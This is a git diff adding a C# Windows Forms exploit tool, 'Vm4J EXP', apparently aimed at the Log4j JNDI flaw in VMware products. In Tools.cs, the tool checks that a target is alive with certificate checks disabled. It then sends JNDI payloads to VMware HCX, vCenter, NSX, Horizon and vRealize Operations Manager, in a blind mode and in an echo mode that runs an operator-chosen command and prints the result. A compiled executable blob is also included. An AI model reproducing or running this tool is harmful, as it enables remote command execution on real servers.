Bv/JgQb/yoIG/8uCBf/MgwX/zYQF/86FBf/PhgT/z4cE/9CHBP/RiAP/0okD/9OKA//UiwL/1IsC/9WM + Av/WjQH/144B/9iPAf/YkAH6smkPubNqDv+zaw7/tGwO/7VtDf+2bg3/t24N/7hvDf+4cAz/uXEM/7py + DP+7cwv/vHML/710C/++dQr/v3YK/793Cv/Adwn/wXgJ/8J5Cf/Degj/xHsI/8R8CP/FfAj/xn0H/8d+ + B//Ifwf/yIAG/8mBBv/Kggb/y4IF/8yDBf/NhAX/zoUF/8+GBP/PhwT/0IcE/9GIA//SiQP/04oD/9SL + Av/UiwL/1YwC/9aNAf/XjgH/2I8B/9iQAf/ZkAC5s2oOMLNrDva0bA7/tW0N/7ZuDf+3bg3/uG8N/7hw + DP+5cQz/unIM/7tzC/+8cwv/vXQL/751Cv+/dgr/v3cK/8B3Cf/BeAn/wnkJ/8N6CP/Eewj/xHwI/8V8 + CP/GfQf/x34H/8h/B//IgAb/yYEG/8qCBv/LggX/zIMF/82EBf/OhQX/z4YE/8+HBP/QhwT/0YgD/9KJ + A//TigP/1IsC/9SLAv/VjAL/1o0B/9eOAf/YjwH/2JAB/9mQAPbakQAwAAAAALRsDjC1bQ25tm4N+rdu + Df+4bw3/uHAM/7lxDP+6cgz/u3ML/7xzC/+9dAv/vnUK/792Cv+/dwr/wHcJ/8F4Cf/CeQn/w3oI/8R7 + CP/EfAj/xXwI/8Z9B//Hfgf/yH8H/8iABv/JgQb/yoIG/8uCBf/MgwX/zYQF/86FBf/PhgT/z4cE/9CH + BP/RiAP/0okD/9OKA//UiwL/1IsC/9WMAv/WjQH/144B/9iPAf/YkAH62ZAAudqRADAAAAAAgAAAAAAB + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAIAAAAAAAQAA + + + \ No newline at end of file diff --git a/Csharp/WindowsFormsApp1/Log.cs b/Csharp/WindowsFormsApp1/Log.cs new file mode 100644 index 0000000..c2bba55 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Log.cs @@ -0,0 +1,57 @@ +using System; +using System.Drawing; + +namespace Vm4j_exp +{ + class Log + { + + public delegate void LogAppendDelegate(Color color, string text); + public void LogAppend(Color color, string text) + { + + if (Form1.form.logTxtBox.Text.Length > 10000) + { + Form1.form.logTxtBox.Clear(); + } + Form1.form.logTxtBox.SelectionColor = color; + Form1.form.logTxtBox.HideSelection = false; + Form1.form.logTxtBox.AppendText(text + Environment.NewLine); + } + + public void LogError(string text) + { + + LogAppendDelegate la = new LogAppendDelegate(LogAppend); + Form1.form.logTxtBox.Invoke(la, Color.Red, "[" + DateTime.Now + "] " + text); + } + + public void LogWarning(string text) + { + + LogAppendDelegate la = new LogAppendDelegate(LogAppend); + Form1.form.logTxtBox.Invoke(la, Color.Orange, "[" + DateTime.Now + "] " + text); + } + + public void LogMessage(string text) + { + + LogAppendDelegate la = new LogAppendDelegate(LogAppend); + Form1.form.logTxtBox.Invoke(la, Color.Black, "[" + DateTime.Now + "] " + text); + } + public void LogInfo(string text) + { + + LogAppendDelegate la = new LogAppendDelegate(LogAppend); + Form1.form.logTxtBox.Invoke(la, Color.Blue, "[" + DateTime.Now + "] " + text); + } + public void LogSuccess(string text) + { + + LogAppendDelegate la = new LogAppendDelegate(LogAppend); + Form1.form.logTxtBox.Invoke(la, Color.Green, "[" + DateTime.Now + "] " + text); + } + + delegate void DelegateAddItem(System.Windows.Forms.ListViewItem lvi); + } +} diff --git a/Csharp/WindowsFormsApp1/Program.cs b/Csharp/WindowsFormsApp1/Program.cs new file mode 100644 index 0000000..717ddd7 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Program.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace Vm4j_exp +{ + internal static class Program + { + /// + /// 应用程序的主入口点。 + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Form1()); + } + } +} diff --git a/Csharp/WindowsFormsApp1/Properties/AssemblyInfo.cs b/Csharp/WindowsFormsApp1/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..965424c --- /dev/null +++ b/Csharp/WindowsFormsApp1/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("VM4J")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("VM4J")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID +[assembly: Guid("09956173-11cf-4d53-8f0a-5a40223fec6e")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*"，如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Csharp/WindowsFormsApp1/Properties/Resources.Designer.cs b/Csharp/WindowsFormsApp1/Properties/Resources.Designer.cs new file mode 100644 index 0000000..4adfcb8 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为，并且如果 +// 重新生成代码，这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace Vm4j_exp.Properties { + using System; + + + /// + /// 一个强类型的资源类，用于查找本地化的字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen + // (以 /str 作为命令选项)，或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// 返回此类使用的缓存的 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Vm4j_exp.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 重写当前线程的 CurrentUICulture 属性，对 + /// 使用此强类型资源类的所有资源查找执行重写。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/Properties/Resources.resx b/Csharp/WindowsFormsApp1/Properties/Resources.resx new file mode 100644 index 0000000..af7dbeb --- /dev/null +++ b/Csharp/WindowsFormsApp1/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Csharp/WindowsFormsApp1/Properties/Settings.Designer.cs b/Csharp/WindowsFormsApp1/Properties/Settings.Designer.cs new file mode 100644 index 0000000..3d50e99 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为，并且如果 +// 重新生成代码，这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace Vm4j_exp.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.0.3.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/Properties/Settings.settings b/Csharp/WindowsFormsApp1/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Csharp/WindowsFormsApp1/Tools.cs b/Csharp/WindowsFormsApp1/Tools.cs new file mode 100644 index 0000000..44c5329 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Tools.cs @@ -0,0 +1,158 @@ +using System.IO; +using System.Net; +using System.Text; +using Vm4j_exp.ExecPayload; + +namespace Vm4j_exp +{ + class Tools + { + public static string Base64Encode(string plainText) + { + var plainTextBytes = Encoding.UTF8.GetBytes(plainText); + return System.Convert.ToBase64String(plainTextBytes); + } + public static bool CheckTargetAlive(string url) + { + Log log = new Log(); + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback((sender, certificate, chain, errors) => true); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Proxy = null; + //request.ContentType = "application/octet-stream"; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = 10000; + request.AllowWriteStreamBuffering = false; + try + { + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream answer = response.GetResponseStream(); + response.Close(); + return true; + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.Timeout) + { + log.LogError("Get Error: Timeout"); + return false; + } + log.LogError("Get Error:" + e.Message); + return false; + } + } + //blind payload + public static void ExecBlindPayload(string url, string payload,string product) + { + Log log = new Log(); + string echoResult; + switch (product) + { + case "VMware HCX": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product +" on "+url); + echoResult = VHCX.VHCXExec(url, payload); + if (echoResult != null) + { + log.LogSuccess("Exploit success, blind payload."); + } + log.LogSuccess("Exploit Success."); + break; + case "VMware vCenter": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VCenter.VCenterExec(url, payload); + if (echoResult != null) + { + log.LogSuccess("Exploit success, blind payload."); + } + log.LogSuccess("Exploit Success."); + break; + case "VMware Workspace One": + break; + case "VMware NSX": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VNSX.VNSXExec(url, payload); + if (echoResult != null) + { + log.LogSuccess("Exploit success, blind payload."); + } + log.LogSuccess("Exploit Success."); + break; + case "VMware Horizon": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VHorizon.VHorizonExec(url, payload); + if (echoResult != null) + { + log.LogSuccess("Exploit success, blind payload."); + } + log.LogSuccess("Exploit Success."); + break; + case "VMware vRealize Operations Manager": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VROM.VROMExec(url, payload); + if (echoResult != null) + { + log.LogSuccess("Exploit success, blind payload."); + } + log.LogSuccess("Exploit Success."); + break; + } + } + //echo payload + public static void ExecEchoPayload(string url, string payload,string cmd, string product) + { + Log log = new Log(); + string echoResult; + switch (product) + { + case "VMware HCX": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VHCX.VHCXEcho(url, cmd, payload); + if (echoResult != null) + { + log.LogSuccess("Get result."); + Form1.form.infoTxtBox.AppendText("\n" + echoResult); + } + break; + case "VMware vCenter": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VCenter.VCenterEcho(url, cmd, payload); + if (echoResult != null) + { + log.LogSuccess("Get result."); + Form1.form.infoTxtBox.AppendText("\n" + echoResult); + } + break; + case "VMware Workspace One": + break; + case "VMware NSX": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VNSX.VNSXEcho(url, cmd, payload); + if (echoResult != null) + { + log.LogSuccess("Get result."); + Form1.form.infoTxtBox.AppendText("\n" + echoResult); + } + break; + case "VMware Horizon": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VHorizon.VHorizonEcho(url, cmd, payload); + if (echoResult != null) + { + log.LogSuccess("Get result."); + Form1.form.infoTxtBox.AppendText("\n" + echoResult); + } + break; + case "VMware vRealize Operations Manager": + log.LogSuccess("We will use JNDI payload " + payload + " to exploit " + product + " on " + url); + echoResult = VROM.VROMEcho(url, cmd, payload); + if (echoResult != null) + { + log.LogSuccess("Get result."); + Form1.form.infoTxtBox.AppendText("\n" + echoResult); + } + break; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/Vm4J EXP.csproj b/Csharp/WindowsFormsApp1/Vm4J EXP.csproj new file mode 100644 index 0000000..f9ed201 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Vm4J EXP.csproj @@ -0,0 +1,124 @@ + + + + + Debug + AnyCPU + {09956173-11CF-4D53-8F0A-5A40223FEC6E} + WinExe + Vm4j_exp + Vm4j_exp + v4.5 + 512 + true + true + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + favicon.ico + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.cs + + + + + + + Form1.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + False + .NET Framework 3.5 SP1 + false + + + + \ No newline at end of file diff --git a/Csharp/WindowsFormsApp1/Vm4J EXP.csproj.user b/Csharp/WindowsFormsApp1/Vm4J EXP.csproj.user new file mode 100644 index 0000000..95a1d1a --- /dev/null +++ b/Csharp/WindowsFormsApp1/Vm4J EXP.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + zh-CN + false + + \ No newline at end of file diff --git a/Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.exe b/Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.exe new file mode 100644 index 0000000000000000000000000000000000000000..5845ce484be26bd8c27d0f0b3f5b1fae97638df4 GIT binary patch literal 90624 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 